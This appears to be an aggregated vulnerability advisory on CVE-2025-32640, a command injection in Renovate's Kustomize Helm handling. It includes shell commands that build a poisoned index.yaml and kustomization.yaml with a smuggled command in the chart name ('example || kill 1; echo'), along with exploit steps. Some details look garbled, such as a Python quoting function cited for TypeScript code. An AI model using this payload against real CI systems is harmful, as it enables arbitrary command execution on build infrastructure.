Renovate, Command Injection, CVE-2025-32640 (Critical)

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How the mentioned CVE works:

The vulnerability exists in Renovate’s Kustomize manager when processing Helm chart dependencies. When Renovate encounters a `kustomization.yaml` file configured to inflate Helm charts (postUpdateOptions: kustomizeInflateHelmCharts), it fetches chart metadata from a Helm repository’s index.yaml. The chart name from this index file is passed to the `helmRepositoryArgs` function in lib/modules/manager/kustomize/artifacts.ts. The value for the `depName` argument is directly concatenated into a `helm pull –untar` shell command without being sanitized by the `shlex.quote` function. An attacker with commit access can create a malicious `index.yaml` entry where the chart name contains shell metacharacters (e.g., example || kill 1; echo). When Renovate processes this chart, the unescaped chart name is inserted into the shell command, allowing arbitrary command execution in the context of the Renovate process.

DailyCVE Form:

Platform: Renovate
Version: 39.218.9+
Vulnerability: Command Injection
Severity: Critical
Date: 2025-03-26

Prediction: 2025-04-15

What Undercode Say:

Analytics:

Malicious index.yaml entry
echo 'apiVersion: v1
entries:
"example || kill 1; echo":
- version: 1.0.0' > index.yaml
Malicious kustomization.yaml
cat > kustomization.yaml << EOF
kind: Kustomization
helmCharts:
- name: "example || kill 1; echo"
repo: https://malicious.repo
version: 1.0.0
EOF
Running Renovate (example)
docker run --rm -v $(pwd):/repo renovate/renovate

How Exploit:

1. Host malicious `index.yaml`.

2. Commit poisoned `kustomization.yaml`.

3. Trigger Renovate scan.

4. Execute arbitrary commands.

Protection from this CVE:

Update Renovate version.

Sanitize chart names.

Implement input validation.

Impact:

Arbitrary command execution.

Container escape potential.

Repository compromise.

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Sources:

Reported By: github.com
Extra Source Hub:
Undercode

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